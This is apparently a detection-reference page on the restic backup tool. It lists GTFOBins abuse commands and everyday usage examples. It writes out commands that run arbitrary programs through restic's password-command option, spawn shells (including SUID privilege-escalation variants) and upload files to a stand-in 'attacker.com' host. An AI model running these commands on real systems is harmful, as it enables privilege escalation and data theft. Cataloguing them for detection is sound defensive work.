Identifier / Programs / Linux and Unix
restic
A fast and secure backup program. tldr-pages
GTFOBins command, shell, upload 1 ATT&CK technique 5 documented commands
How restic is abused
command
backup
command
backup
--password-commandupload
backup
-rEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for restic.
5 documented commands
command unprivileged, with sudo, as SUID
RESTIC_PASSWORD_COMMAND='/path/to/command' restic backupIdentifycommand unprivileged, with sudo, as SUID
restic --password-command='/path/to/command' backupIdentifyshell unprivileged, with sudo, as SUID
RESTIC_PASSWORD_COMMAND='/bin/sh -c "/bin/sh 0<&2 1<&2"' restic backupIdentifyAs SUID:
RESTIC_PASSWORD_COMMAND='/bin/sh -p -c "/bin/sh -p 0<&2 1<&2"' restic backup
shell unprivileged, with sudo, as SUID
restic --password-command='/bin/sh -c "/bin/sh 0<&2 1<&2"' backupIdentifyAs SUID:
restic --password-command='/bin/sh -p -c "/bin/sh -p 0<&2 1<&2"' backup
upload unprivileged, with sudo, as SUID
restic backup -r rest:http://attacker.com:12345/x /path/to/input-fileIdentifyNone of the 5 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for restic. The identifier reads the line of each that runs restic.
What detects it
Everyday use
Initialize a backup repository in the specified local directory
restic init --repo path/to/repositoryIdentifyBack up a directory to the repository
restic --repo path/to/repository backup path/to/directoryIdentifyMatches GTFOBins abuse: command
Show backup snapshots currently stored in the repository
restic --repo path/to/repository snapshotsIdentifyOf the 3 examples the identifier reads, 1 matches GTFOBins abuse or trips a Sigma process-creation rule.